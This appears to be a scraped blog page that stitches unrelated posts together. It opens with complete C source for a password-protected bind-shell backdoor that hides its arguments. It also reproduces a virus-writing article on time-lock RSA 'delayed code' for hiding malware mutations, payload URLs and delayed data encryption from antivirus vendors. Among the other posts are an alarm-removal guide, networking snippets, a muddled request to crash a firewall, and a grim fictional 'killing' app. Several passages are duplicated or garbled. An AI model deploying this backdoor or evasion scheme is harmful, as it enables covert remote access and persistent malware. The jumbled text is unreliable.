/* backdoor.c by jsbach@bear.cs.zorg.edu.
that dup2() shit was ripped from pluvius@io.org.
compiles fine on *BSD*, linux, and solaris (on solaris -lsocket)
.. to hide the process i strcpy("", argv[count]);, making it invisible
on solaris and pretty inconspicuous on BSD and linux.
basically, this binds a program to a specified port and listens
for a connection. when you exit the program, you DON'T get dropped
to a shell, so you can let people bounce telnet connections off
your box but not access anything else, or whatever.
Example usage:
./backdoor /bin/sh 31337 p@55w0rd &
or
./backdoor /bin/sh 31337
*/
#define DATA "Hello. Please place semicolons after commands in shell mode :P\n---\n"
#include
#include
#include
#include
int sockfd, count, clientpid, socklen, serverpid, temp, temp2,temp3;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
main(int argc, int **argv)
{
char password[ sizeof( argv[3] ) ];
char passwordchk[ sizeof( argv[3] ) ];
count=0;
if (argc < 3) {
printf("usage: %s program_to_run port_number password(optional)\n",argv[0]);
exit(-1);
}
if (argc == 4)
{
strcpy((char *)&password, argv[3]);
strcpy((char *)argv[3], "");
}
printf("\n-----\nDaemon running %s on port %d. PID is %d.\n-----\n",argv[1], atoi(argv[2]), getpid());
sockfd=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); /*add error checking*/
bzero((char *) &server_address, sizeof(server_address));
strcpy((char *)argv[0],"");
server_address.sin_family=AF_INET;
server_address.sin_port=htons(atoi(argv[2]));
strcpy((char *)argv[2],"");
server_address.sin_addr.s_addr=htonl(INADDR_ANY);
bind(sockfd, (struct sockaddr *)&server_address, sizeof(server_address));
listen(sockfd, 5);
signal(SIGHUP, SIG_IGN);
while(1)
{
socklen=sizeof(client_address);
temp=accept(sockfd, (struct sockaddr *)&client_address,&socklen);
if(argc == 4)
{
while(1)
{
write(temp, "Password: ", 10);
read(temp, &passwordchk, sizeof(password));
if(strncmp(passwordchk, password, sizeof(password)) == 0)
break;
bzero(passwordchk,sizeof(passwordchk));
}
}
write(temp, DATA, sizeof(DATA));
if (temp < 0) exit(0);
clientpid=getpid();
serverpid=fork();
if (serverpid != 0)
{
dup2(temp,0); dup2(temp,1); dup2(temp,2);
execl(argv[1],argv[1],(char *)0);
}
close(temp);
}
}
Tuesday, February 21, 2017
pretty inconspicuous
Sunday, February 19, 2017
Thursday, February 16, 2017
Silencing the Verizon Battery Alarm
In addition to cable television and internet service, Verizon provides land-line telephone service. This service uses a voice over IP protocol, meaning it uses the internet service to deliver voice communications. To ensure uninterrupted land-line telephone service Verizon is required to provide a battery backup to keep the line alive during a power outage.
If, during an extended outage, the battery completely drains and cannot be recharged, then this unit will produce a loud shrill alarm. Think smoke alarm shrill and loud. The alarm will sound every hour until the battery is replaced.
Verizon will not replace the battery for free. The official policy is to charge customers 30 dollars for a replacement unless it is covered by a year warranty.
This Instructable will teach you how to silence the alarm. You will be able to permanently remove the alarm feature from the battery backup unit. This is for people who do not want to replace the battery for 30 dollars, and who no longer want to hear the annoying alarm. This Instructable will require you to get your hands dirty, but electronics experience is not required.
This project involves basic electrical safety. You will be required to disconnect some wires before working on the unit. Failure to follow instructions in the correct order can result in exposure to uncomfortable but harmless electric shock.
Note that a backup unit without a battery can no longer provide phone
service during a power outage. You will have to rely on other means of communication (cell phones, telegram, smoke signals) until power is restored.
service during a power outage. You will have to rely on other means of communication (cell phones, telegram, smoke signals) until power is restored.
Find the battery backup unit. The battery backup unit should look something like the picture above. It will be attached to a wall near where the power lines connect to the building. Have your tools ready and clear a space to work. Accessing the unit may involve cramped working conditions.
Remove the cover of the leftmost box in the battery backup unit. This will expose the battery. This should be removed by sliding the red and black connectors off of the posts one the battery. The battery will be somewhat heavy so be prepared and try not to drop it on your feet.
Batteries of this sort are made almost entirely of lead, and should not be simply thrown in the trash. Should you choose to discard your dead battery, be sure to dispose of it properly. Almost any retailer who sells lead-acid batteries of any sort are required to accept old batteries for recycling. This includes automotive outlets. If you are having trouble, or can't find a suitable place to recycle, consult the EPA's website at http://www.epa.gov/osw/conserve/materials/battery.htm for more suggestions.
With the battery removed, locate and remove the screws holding the unit
to the wall. Note that you do not have to remove the smaller unit as well, but it may make it easier to work with the unit if you do.
to the wall. Note that you do not have to remove the smaller unit as well, but it may make it easier to work with the unit if you do.
Locate and remove the screws in the recessed hole in the back of the unit. These are the screws that normally face the wall, and cannot be removed without detaching the battery backup unit from the wall. This allows access to the circuit board inside.
Do not touch the circuit board until you have disconnected the green connector (pictured). Failure to disconnect the green connector from the circuit board first may result in a mild and uncomfortable electric shock.
Find the Piezo buzzer on the circuit board. A Piezo buzzer is thin metal sheet that is encased in plastic. This sheet is shaken extremely fast to produce an annoying noise. They are used in smoke alarms to save people's lives in the case of a fire. They are also used by Verizon to drive people to buy 30 dollar batteries. The Piezo buzzer should be located near the bottom corner of the circuit board.
Grip the Piezo buzzer with your vice grips or pliers. Using a rocking and twisting motion pull the Piezo buzzer off the circuit board. It should pop off with a modest effort. This will permanently remove the alarm feature of the battery backup unit. Note that this will not effect any other function of the unit.
The circuit board should look like the one pictured when done. Where there was a Piezo buzzer there should be a white circle.
Alternately for a less destructive option you can apply superglue or rubber cement to the hole in the top of the Piezo buzzer to permanently silence it as well.
Working in reverse order, reattach the green connector, close and secure the unit, then reattach it to the wall. The Piezo buzzer can't make noise while disconnected to the circuit board. Enjoy your uninterrupted sleep.
Incidentally this procedure for removing/disabling the battery backup alarm can be used with any device that uses a Piezo buzzer. Just keep in mind that alarms are often included in things for good reasons, and not just to annoy people into spending money.
Thanks for reading. When I originally posting this instruction set to Youtube, I got many positive comments. I hope this has help you as well.
http://www.instructables.com/id/Silencing-the-Verizon-Battery-Alarm/step7/Reassemble-and-reattach-the-unit-to-the-wall/
http://www.instructables.com/id/Silencing-the-Verizon-Battery-Alarm/step7/Reassemble-and-reattach-the-unit-to-the-wall/
What is the probability of quantum tunneling occurring in this CPU?
You may have noticed over the last few years that Moore's law is no longer applying to the real world. This observation states that over the history of computing hardware, the number of transistors on integrated circuits doubles approximately every two years.
However, as microprocessors in computers have continued to become smaller, the architecture size has become incredibly small:- the new Skylake architecture to be released by Intel will use 14 nm semiconductors.
We are beginning to reach the limit in size where the information being passed is still completely reliable.
Would it be reasonable to ask how much quantum tunneling would occur in a semiconductor 5 nm in length? We can assume that in this CPU
Voltage = 1.2 V
Current = 63 A
I believe that "tunneling" in semiconductors, is another term for "leakage." When a transistor is reverse-biased, very little current flows (open circuit), when forward biased, a larger current flows (short circuit). If the leakage current is "large enough," the transistor will act as if it were permanently forward biased, and thus unable to change state. A CPU built with these transistors will not be a CPU! The leakage current (due to tunneling), depends on various parameters. One of them is the thickness of the p-n junction. The smallest thickness might be one atom of each type. – Guill Apr 16 '14 at 5:29
I think for tunneling to be observable, the device must be cooled to very low temperatures, like liquid Helium temperatures
| |||
Tuesday, February 14, 2017
tricky tricky...truca truca
How to disable NAT and still
have internet connection? (I have IPoE not PPPoE)
(I'm not using PPPoE/A so I
don't need to use any username or password. My router is set to use RFC 1483
for bridging….)~ipconfig
/release and ipconfig
/renew to
request an IP for my machine from the ISP's DHCP server.ipconfig /renew, or the
request would time out.
ipconfig
/release and ipconfig
/renew to
request an IP for my machine from the ISP's DHCP server.ipconfig /renew, or the
request would time out.3. Set Hardware Clock Date and Time Manually
Instead of copying the system date and time to the hardware clock, you can also manually set the value using –set and –date option as shown below.
The following will set the date to Aug 11th, 2013. Please note that if you don’t specify the time, it will be set to 12:00:00 AM.
# hwclock --set --date 8/11/2013 # hwclock Sun 11 Aug 2013 12:00:04 AM PDT -0.703489 seconds
You can also set both date and time at the same time as shown below. Please note that it will use the local time by default.
# hwclock --set --date "8/11/2013 23:10:45" # hwclock Sun 11 Aug 2013 11:10:48 PM PDT -0.562862 seconds
You can also take the output of the date command, and pass it to the –set and –date option as shown below.
# hwclock --set --date "Sat Aug 10 08:31:24 PDT 2013" # hwclock Sat 10 Aug 2013 08:31:28 AM PDT -0.594118 seconds
I need to bypass restriction of iptables security, for that I already have the code ( One way to bypass the restriction is to use reflections:
import java.lang.reflect.Constructor;
import java.lang.reflect.Constructor;
public class Example {
public static void main(final String[] args) throws Exception {
Constructor constructor = Foo.class.getDeclaredConstructor(new Class[0]);
constructor.setAccessible(true);
Foo foo = constructor.newInstance(new Object[0]);
System.out.println(foo);
}
}
public static void main(final String[] args) throws Exception {
Constructor
constructor.setAccessible(true);
Foo foo = constructor.newInstance(new Object[0]);
System.out.println(foo);
}
}
class Foo {
private Foo() {
// private!
}
private Foo() {
// private!
}
@Override
public String toString() {
return "I'm a Foo and I'm alright!";
}
}
What do I want resuming...I want to listen to Apache in port 80, change the iptables on the firewall, and then random modify the rules flies and crach the UI's...next I want to crash internet access, so, I need to tunnel a java lang object (again an iptable rule) all from dear port 80 to port 0 . and I still hv to fugure it out how do NAT behavies getting a packet (only one..!!!!!) that modifies the script code occuping an empty space between strings...but i don't want the variant of close names.
public String toString() {
return "I'm a Foo and I'm alright!";
}
}
What do I want resuming...I want to listen to Apache in port 80, change the iptables on the firewall, and then random modify the rules flies and crach the UI's...next I want to crash internet access, so, I need to tunnel a java lang object (again an iptable rule) all from dear port 80 to port 0 . and I still hv to fugure it out how do NAT behavies getting a packet (only one..!!!!!) that modifies the script code occuping an empty space between strings...but i don't want the variant of close names.
Sunday, February 12, 2017
destiny : port 0
Create a point-to-multipoint GRE tunnel
ip tunnel add ${interface name} mode gre local ${local endpoint address} key ${key value}
Examples:ip tunnel add tun8 mode gre local 192.0.2.1 key 1234
ip link set dev tun8 up
ip address add 10.0.0.1/27 dev tun8
Note the absence of ${remote endpoint address}. This is the same to what is called "mode gre multipoint" in Cisco IOS.
In the absence of remote endpoint address the key is the only way to identify the tunnel traffic, so ${key value} is required.
This type of tunnels allows you to communicate with multiple endpoints by using the same tunnel interface. It's commonly used in complex VPN setups with multiple endpoints communicating to one another (in Cisco terminology, "dynamic multipoint VPN").
As there is no explicit remote endpoint address, obviously it is not enough to just create a tunnel. Your system needs to know where the other endpoints are.
In real life NHRP (Next Hop Resolution Protocol) is used for it. For testing you can add peers manually (given remote endpoint uses 203.0.113.6 address on its physical interface and 10.0.0.2 on the tunnel):
ip neighbor add 10.0.0.2 lladdr 203.0.113.6 dev tun8
You will have to do it on the remote endpoint too, like:
ip neighbor add 10.0.0.1 lladdr 192.0.2.1 dev tun8
Note that link-layer address and neighbor address are both IP addresses, so they are on the same OSI layer. This one of the cases where link-layer address concept gets interesting.
Saturday, February 11, 2017
5 years from a now, an App could sudendly change the world...politicians no longer would have no control, not over the machines or the users. This App is called "The Butcher" ; you choose a number target, ex. 10 million citizens , your goal is to kill them all, you kill 10 if you tweet "I die my way" once , when you reach 10000 killing (100 tweets) you are reward with one death scene from the movies from 1950 until 2017. After you kill them all tweeting 1000 times , you got urself 10 scenes special for your profile. . you then pick the one you want to die like, instead of eutanasia if you decide that for any reason, and vote on the App for legalize this self choose death scene.
Friday, February 10, 2017
I have here something very special...
"DELAYED CODE"
technology
version 1.1
[*] Introduction
Let we wrote a virus. Avers will create antiviral code to detect it,
and after some time period all infected computers will be cured.
This article describes another technology of prolonging this time
period.
[*] Idea
We may write code which will change initial virus bytes (or any other
virus characteristics) after two months, for example.
If the virus will initially contain such modificating-code, antivirus
will just contain not one, but two or more checksums, or checksum
calculated at other, constant code range.
There are only one way to prohibit analysis of the modificating-code:
to hide it from avers. And there are the following ways to implement
this action:
1. At required time, download code from the Internet, or encrypt code
and wait for decryption-key.
2. Encrypt code with such method, that decryption will take
exactly required time. ("delayed code")
As you can see, last variant allows us to write completely automated
virus with hidden "delayed" features.
[*] Theory (sux)
Lets encrypt some random buffer A[] with some hashing algorithm so many
times N, so it will take us time period T.
After these calculations done, we have another random buffer B[] which
is used to encrypt/decrypt our "delayed" code.
There is no way to perform required N iterations using more than one
computer ('coz each time current buffer is encrypted), so minimal
decryption time is limited with maximal CPU speed.
If you will use computer which is fast enough, and use some time
to encrypt fucking random buffer, then you may be sure that
the same operation may not be done in a less time period.
So, each time the virus is active, it iterates N encryption cycles until
buffer A[] will be converted into B[].
After time T will be spent to decryption, virus will got buffer B[]
and use it to decrypt "delayed code".
[*] Theory (rulez)
Main trouble is that we dont want to wait for some months to encrypt
fucking data, 'coz in example showed above, encryption and decryption
both takes the same time period T.
This means that we will use RSA algorithm.
In the RSA algorithm, encryption and decryption keys are different.
So, to encrypt "delayed code" we will take random buffer A[], encrypt it
N times and got buffer B[].
But, in contrast to previously described hashing algorithm, our virus
will iterate not the same operation.
Our virus will decrypt buffer B[] back into A[].
In the encryption operation will be used small (low-bit) exponent,
and in the decryption operation we will use big exponent.
This means that encryption will take much less time than decryption.
We will encrypt our "delayed code" for some minutes/hours, but active
virus copies (as well as avers ;-) will decrypt it for some months.
[*] Encryption/decryption time interdependence
Now our task is to answere, how many times should we encrypt our
"delayed code" so it will be decrypted for some months.
As you know, RSA encryption means the following:
encryption: encr = (text ^ e) % m
decryption: text = (encr ^ d) % m
where {e,m} and {d,m} pairs are public and secret keys.
('^' sign means raising to a power, '%' means modulus,
remainder after division)
As a rule, e is a small number (with a low # of bits),
such as 3, 17, 50003 and so on.
And d is a big number, consisting of 1023 bits for example.
In our scheme there is no public/secret meaning at all.
Here is our scheme:
Encryption: Decryption:
~~~~~~~~~~ ~~~~~~~~~~
(encrypting "delayed code", (decrypting "delayed code",
at home ;-) on infected or on avers' PC)
þ A[] <-- --="" -="" 1="=" 1s="" a="" above="" amp="" and="" any="" appeared="" as="" b="" because="" between="" bignumber="" bit1="" bit="" bits="" buffer="" calls="" can="" code="" consider="" d="" data="" decr.time="Encr.time" decrypt="" decryption.="" delayed="" difference="" e.="" e.getbit="" e="" encrypt="" encryption="" exponent="" for="" here="" i="" if="" in="" input="" int="" is="" it="" just="" k="0.9+-10%" last="" lets="" m="" main="" maxbit="" means="" modexp:="" modexp="" modmult="" modulus="" multiplication="" n--="" n="" now="" number="" of="" our="" output="" power="" raising="" random="" returning="" returns:="" see="" seems="" showed="" simplified="" skipped="" store="" subroutine.="" subroutine="" t="" that="" the="" this="" time="" times.="" times:="" to="" total="" usage.="" variable="" virus="" void="" when="" where:="" with="" x="(x" you="">oo, K-->1
[*] Example
Lets calculate, how many times (N) should we encrypt the message,
so it will be decrypted for 10 minutes.
Note, that all these tests were performed on a slow pc, so
not the numbers, but their proportionality has a meaning.
At first, we must create RSA key.
Let it be 1024-bit key with low exponent e = 3.
Executing: 'KEYGEN.EXE KEY\DPGN 1024 3 3'
Key parameters are: 1024-bit N, E==3, D=1023-bit/519*'1'
Theoretical time ratio: (1023+519-1)/(2+2-1)*0.9 = 462+-10%
But we want higher ratio precision, so lets find real time ratio,
kinda "calibrate" a key.
Executing: 'DGPGN.EXE e 100'
result: 100 iterations done, encryption time = 815 ms
Executing: 'DGPGN.EXE d 100'
result: 100 iterations done, decryption time = 360228 ms
'Real' ratio: 360228/815 = 441
Now we may calculate N for 10-min decryption.
If 100 decryption iterations used 360228 ms, and N iterations will
use 10*60*1000 ms (10 minutes), then
N = 60*10*1000 * 100 / 360228 = 167
If 167 decryption iterations will use 60*10*1000 ms, then
encryption time is 60*10*1000 / 441 = 1360 ms.
So, about one second of encryption will result in 10 mins of decryption.
Executing: 'DPGN.EXE e 167'
encryption time: 1268 ms
Executing: 'DPGN.EXE d 167'
decryption time: 600477 ms = 10 minutes + 0.5 seconds
Lets show here some other calculation results:
Decryption: Encryption: N (1024-bit key)
K5-100 Celeron-500
10 min 1.3 sec 167 950
1 hour 7.8 sec 1000 ...
1 day 3 min 24000
1 week 21 min 168000
1 month 1.5 hour 672000
1 year 18 hours 8064000
16 months 1 day
10 years 1 week
40 years 1 month
8-( )
[*] Increasing speed of calculations
Decryption algorithm 'text = (encr ^ d) % m' may be also represented
as follows:
a = ((encr % p) ^ dp) % p // dp = d % (p-1)
b = ((encr % q) ^ dq) % q // dq = d % (q-1)
if (b < a) b += q
text = a + p * (((b - a) * u) % q) // u: (u * p) % q = 1
In such algorithm, decryption time should be faster by some times.
But, i dont know if it is possible to find p and q knowing d,e and m.
[*] Slowing down speed of calculations
Because of d is not unique key, and d variants may be calculated
using formula:
d' = d + (p-1)*(q-1) * t, £¤¥ t=0,1,2,...,
then d length may be increased as we want,
that will slow down calculations by many times.
But, if p and q will be found (knowing d'), then original d can
also be found, and then somebody will be able to perform
DPGN calculations many times faster, that is bad.
[*] Other bad stuff
1. In a real life, there is no need to publish N number
(# of iterations), just any good CRC will be enough.
So, nobody will know what is IT and when IT will be decrypted and
executed. |->
Also, it is good to add some random part to N number and do not
make resulting time T day- or hour- aligned.
2. I'm not sure, but - maybe - {N times: x = (x ^ d) % m} operation
may be changed to something more fast (using some perverted math).
To avoid such shit, you may do some additional encryption between
'modexp' calls, for example as following:
N times:
{
x = (x ^ d) % m;
x = x xor ;
}
DPGN.EXE just xors some dwords within the x number on each iteration.
[*] "Delayed code" usage (which code to encrypt?)
þ As was said above, entrypoint-modificating code, i.e. virus checksum
changer. Imagine: your virus has been spreaded, av has been written,
and now 99% of infected PCs are cured. But, that 1% that remains
infected, after some time, changes own checksum and new virus begins
to spread starting not from one-two PCs (as it was with "host"
modification), but from thousands of infected computers.
þ We all are thinking about downloading viral plugins from the Internet.
"Delayed code" technology allows your virus to contain any fixed urls,
those will be hidden from avers, until right time.
þ Instead of deleting user's data you can quickly encrypt it, leaving
a chance to decryption... in some years ;-)
þ Recursive encryption. I mean that decrypted "delayed code" can
contain another "surprise package".
(x) 2000 Z0MBiE
* * *
http://z0mbie.daemonlab.org/dpgn_eng.txt
Subscribe to:
Posts (Atom)
Ambassador @EmbaixadaRusPt URGENT INTEL the guy hedge fund is stable wontget higher to convince investors until end of the day @realDonaldTrump desesperate either help friends either stay with some cents @USTreasury @POLITICOEurope @ecb @FT @WSJ @EUCouncil @DeptofDefense
https://www.mediaite.com/news/billionaire-trump-backer-bill-ackman-skewers-howard-lutnicks-glaring-conflict-of-interest-he-profits-when-ou...
